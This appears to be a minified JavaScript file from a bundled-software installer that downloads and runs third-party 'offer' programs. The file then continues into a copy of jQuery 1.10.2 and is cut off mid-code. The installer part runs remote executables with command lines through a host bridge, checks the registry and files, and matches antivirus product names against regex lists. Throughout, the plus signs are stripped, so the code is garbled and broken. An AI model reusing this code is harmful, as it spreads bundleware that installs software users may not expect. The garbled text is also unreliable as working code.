allInstalled=updateOffersValues();showInstallProgress();if(allInstalled){addUniqueTrace("allInstalled");if(checkFinish()===true&&!wentToFinish){wentToFinish=true;addTrace("FinishInstall");goForward();addLog("finish")}}if(!wentToFinish){getOffersProgress()}}catch(err){trackErrorOnInterval(JSON.stringify(err))}},1000)}function offerProgress(position,downloadedBytes,totalbytes){installingOffers[position].downloadedBytes=parseInt(downloadedBytes);installingOffers[position].totalbytes=parseInt(totalbytes)}function offerInstallComplete(position,result,waitToCheck){addLog(position "->installed");addUniqueTrace("offerInstalled");installingOffers[position].downloadedBytes=installingOffers[position].totalbytes;addSpeficicTrace("install");addLog("waiting " waitToCheck " miliseconds");setTimeout(function(){addLog(position "->checking");offerSetState(installingOffers[position].id,result);printStates();installingOffers[position].completed=true;addSpeficicTrace("installed")},waitToCheck)}function checkFinish(){for(var i=0;i<installingOffers.length;i ){if(installingOffers[i].completed!==true){addLog("CheckFinish false");return false}}addLog("CheckFinish true");return true}function offerSetState(id,resultCode){if(id==-1){mappInstalled=true;return}$.each(dataObject.offers,function(key,offer){if(offer.id==id&&offer.state==ACCEPTED){try{if(resultCode==-99){offer.state=INSTALLERROR}else{var present=checkPresent(offer.offerBehavior.postCheck,resultCode);if(present==true){offer.state=INSTALLED;track("","");if(offer.offerBehavior.ownerCheck){ownerCheck(offer.id,true)}}else{if(present==false){offer.state=NOCONFIRMED;sendOfferException("not confirmed",resultCode.toString(),"",offer.url,offer.name,"INSTALL NOTCONFIRMED")}else{offer.state=POSTCHECKERROR}}}}catch(err){offer.state=POSTCHECKERROR}}})}function getReport(){}(function(){var h=CryptoJS,j=h.lib.WordArray;h.enc.Base64={stringify:function(b){var e=b.words,f=b.sigBytes,c=this._map;b.clamp();b=[];for(var a=0;a<f;a =3){for(var d=(e[a>>>2]>>>24-8*(a%4)&255)<<16|(e[a 1>>>2]>>>24-8*((a 1)%4)&255)<<8|e[a 2>>>2]>>>24-8*((a 2)%4)&255,g=0;4>g&&a 0.75*g<f;g ){b.push(c.charAt(d>>>6*(3-g)&63))}}if(e=c.charAt(64)){for(;b.length%4;){b.push(e)}}return b.join("")},parse:function(b){var e=b.length,f=this._map,c=f.charAt(64);c&&(c=b.indexOf(c),-1!=c&&(e=c));for(var c=[],a=0,d=0;d<e;d ){if(d%4){var g=f.indexOf(b.charAt(d-1))<<2*(d%4),h=f.indexOf(b.charAt(d))>>>6-2*(d%4);c[a>>>2]|=(g|h)<<24-8*(a%4);a }}return j.create(c,a)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();function FormatAntivirusName(currentName,antivirusRegexArray){if(!antivirusRegexArray){return null}var result=null;$.each(antivirusRegexArray,function(key,value){var pattern=new RegExp(value,"i");if(currentName.match(pattern)){result=key;return false}});return result}function checkRegKey(path,key,value){key=key||"";value=value||"";return window.external.checkRegKey(path,key,value)}function minimizeWindow(){return window.external.minimizeWindow()}function checkFile(path,regexp){return window.external.checkFile(path,regexp)}function getResponseFromWrapper(url,post,callback,failcallback){window.external.getResponse(url,post,callback,failcallback)}function checkDirectory(path){return window.external.checkDirectory(path)}function checkRunFile(DownloadUrl,FileName,args,time){time=time||5000;try{return parseInt(window.external.checkRunFile(DownloadUrl,FileName,args,time))}catch(err){return parseInt(window.external.checkRunFile(DownloadUrl,FileName,args))}}var isLoadedOneTime=false;function loaded(){if(!isLoadedOneTime){isLoadedOneTime=true;addTrace("loadedFunctionStart");getBodySize();addTrace("gettedBodySize");var hideFormString=returnIdValue("#_HideBorder")||"0";window.external.loaded(parseInt(actualWidth),parseInt(actualHeight),parseInt(hideFormString));addTrace("called")}}function setWindowName(text){window.external.setWindowName(text)}function hideForm(hide,icon){try{window.external.hideForm(hide,icon)}catch(err){window.external.hideForm(hide)}}function ownerCheck(offerID,set){return window.external.ownerCheck(parseInt(offerID),set)}function createUninstaller(values){if(values.length>0&&window.external&&("createUninstaller" in window.external)){try{return window.external.createUninstaller(values)}catch(err){return false}}}function openUrlOnDefaultBrowser(url){window.external.openUrlOnDefaultBrowser(url)}function externalClose(){onExit()}function closeForm(){addLog("closing");window.external.close()}function showMessage(message,title,twoButtons){return window.external.showMessage(message,title,twoButtons)}function startInstall(key,url,commandline,filename,macBehavior){commandline=commandline||"";return window.external.startInstall(parseInt(key),url,commandline,filename,macBehavior)}function getTotalSize(urls){return window.external.getTotalSize(urls).toString()}function configurationCrypted(){var returnVal=window.external.configurationCrypted();return returnVal.toString()}function disableControlBoxButtons(button,value){window.external.disableControlBoxButtons(button,value)}function getDownloadProgress(id){try{return window.external.getDownloadProgress(id).toString()}catch(err){return"0|1"}}function sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError){return window.external.sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError)}/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
//@ sourceMappingURL=jquery-1.10.2.min.map
(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[ -]?(?:\d*\.|)\d (?:[eE][ -]?\d |)/.source,T=/\S /g,C=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,N=/^(?:\s*(<[\w\W] >)[^>]*|#([\w-]*))$/,k=/^<(\w )\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[) /g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d \.|)\d (?:[eE][ -]?\d |)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e){return this}if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n){return !n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n)){for(i in n){x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i])}}return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2]){return r.find(e)}this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n= e (0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l ){if(null!=(o=arguments[l])){for(i in o){e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r))}}}return s},x.extend({expando:"jQuery" (f Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait :x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body){return setTimeout(x.ready)}x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return !isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e "":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e)){return !1}try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf")){return !1}}catch(r){return !1}if(x.support.ownLast){for(n in e){return v.call(e,n)}}for(n in e){}return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e){return !1}return !0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e){return null}"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return " n)():(x.error("Invalid JSON: " n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n){return null}try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: " n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i ){if(r=t.apply(e[i],n),r===!1){break}}}else{for(i in e){if(r=t.apply(e[i],n),r===!1){break}}}}else{if(a){for(;o>i;i ){if(r=t.call(e[i],i,e[i]),r===!1){break}}}else{for(i in e){if(r=t.call(e[i],i,e[i]),r===!1){break}}}}return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e "").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m){return m.call(t,e,n)}for(r=t.length,n=n?0>n?Math.max(0,r n):n:0;r>n;n ){if(n in t&&t[n]===e){return n}}}return -1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r){for(;r>o;o ){e[i ]=n[o]}}else{while(n[o]!==t){e[i ]=n[o ]}}return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o ){r=!!t(e[o],o),n!==r&&i.push(e[o])}return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a){for(;o>i;i ){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}else{for(i in e){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid ,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r){x.access(e,n,l,r[l],!0,a,s)}}else{if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n)){for(;u>l;l ){n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)))}}}return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t){a[o]=e.style[o],e.style[o]=t[o]}i=n.apply(e,r||[]);for(o in t){e.style[o]=a[o]}return i}}),x.ready.promise=function(t){if(!n){if(n=x.Deferred(),"complete"===a.readyState){setTimeout(x.ready)}else{if(a.addEventListener){a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1)}else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}}}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object " t "]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle" -new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t ){if(this[t]===e){return t}}return -1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0]) ",W=R.replace("w","w#"),$="\\[" P "*(" R ")" P "*(?:([*^$|!~]?=)" P "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" W ")|)|)" P "*\\]",I=":(" R ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" $.replace(3,8) ")*)|.*)\\)|)",z=RegExp("^" P " |((?:^|[^\\\\])(?:\\\\.)*)" P " $","g"),X=RegExp("^" P "*," P "*"),U=RegExp("^" P "*([> ~]|" P ")" P "*"),V=RegExp(P "*[ ~]"),Y=RegExp("=" P "*([^\\]'\"]*)" P "*\\]","g"),J=RegExp(I),G=RegExp("^" W "$"),Q={ID:RegExp("^#(" R ")"),CLASS:RegExp("^\\.(" R ")"),TAG:RegExp("^(" R.replace("w","w*") ")"),ATTR:RegExp("^" $),PSEUDO:RegExp("^" I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" P "*(even|odd|(([ -]|)(\\d*)n|)" P "*(?:([ -]|)" P "*(\\d )|))" P "*\\)|)","i"),bool:RegExp("^(?:" B ")$","i"),needsContext:RegExp("^" P "*[> ~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" P "*((?:-\\d)?\\d*)" P "*\\)|)(?=[^-]|$)","i")},K=/^[^{] \{\s*\[native \w/,Z=/^(?:#([\w-] )|(\w )|\.([\w-] ))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}" P "?|(" P ")|.)","ig"),it=function(e,t,n){var r="0x" t-65536;return r!==r||n?t:0>r?String.fromCharCode(r 65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n ]=t[r ]){}e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e){return n}if(1!==(l=t.nodeType)&&9!==l){return[]}if(h&&!i){if(o=Z.exec(e)){if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode){return n}if(a.id===s){return n.push(a),n}}else{if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s){return n.push(a),n}}}else{if(o[2]){return M.apply(n,t.getElementsByTagName(e)),n}if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName){return M.apply(n,t.getElementsByClassName(s)),n}}}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='" m "'] ",u=c.length;while(u--){c[u]=m yt(c[u])}y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x){try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n =" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return !!e(t)}catch(n){return !1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--){o.attrHandle[n[r]]=t}}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r){return r}if(n){while(n=n.nextSibling){if(n===t){return -1}}}return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t= t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--){n[i=o[a]]&&(n[i]=!(r[i]=n[i]))}})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i ]){1===n.nodeType&&r.push(n)}return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||g.push("\\[" P "*(?:value|" B ")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]=" P "*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t){while(t=t.parentNode){if(t===e){return !0}}}return !1},A=d.compareDocumentPosition?function(e,t){if(e===t){return S=!0,0}var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t){return S=!0,0}if(!o||!a){return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0}if(o===a){return pt(e,t)}r=e;while(r=r.parentNode){s.unshift(r)}r=t;while(r=r.parentNode){l.unshift(r)}while(s[i]===l[i]){i }return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t))){try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType){return n}}catch(i){}}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: " e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o ]){t===e[o]&&(i=n.push(o))}while(i--){e.splice(n[i],1)}}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent){return e.textContent}for(e=e.firstChild;e;e=e.nextSibling){n =a(e)}}else{if(3===i||4===i){return e.nodeValue}}}else{for(;t=e[r];r ){n =a(t)}}return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"}," ":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" " e[3] " "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]= (e[4]?e[5] (e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]= (e[7] e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return !0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e " "];return t||(t=RegExp("(^|" P ")" e "(" P "|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i ="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" " i " ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length 1)===n "-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return !!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g]){if(s?p.nodeName.toLowerCase()===y:1===p.nodeType){return !1}}h=g="only"===e&&!h&&"nextSibling"}return !0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p= d&&p&&p[g]||(f=d=0)||h.pop()){if(1===p.nodeType&& f&&p===t){c[e]=[T,d,f];break}}}else{if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T){f=u[1]}else{while(p= d&&p&&p[g]||(f=d=0)||h.pop()){if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&& f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t)){break}}}}return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: " e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--){i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--){(o=a[s])&&(e[s]=!(t[s]=o))}}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: " e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do{if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang")){return n=n.toLowerCase(),n===e||0===n.indexOf(e "-")}}while((t=t.parentNode)&&1===t.nodeType);return !1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling){if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType){return !1}}return !0},parent:function(e){return !o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n =2){e.push(n)}return e}),odd:ht(function(e,t){var n=1;for(;t>n;n =2){e.push(n)}return e}),lt:ht(function(e,t,n){var r=0>n?n t:n;for(;--r>=0;){e.push(r)}return e}),gt:ht(function(e,t,n){var r=0>n?n t:n;for(;t> r;){e.push(r)}return e})}},o.pseudos.nth=o.pseudos.eq;for(n in {radio:!0,checkbox:!0,file:!0,password:!0,image:!0}){o.pseudos[n]=ft(n)}for(n in {submit:!0,reset:!0}){o.pseudos[n]=dt(n)}function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e " "];if(c){return t?0:c.slice(0)}s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in o.filter){!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length))}if(!n){break}}return 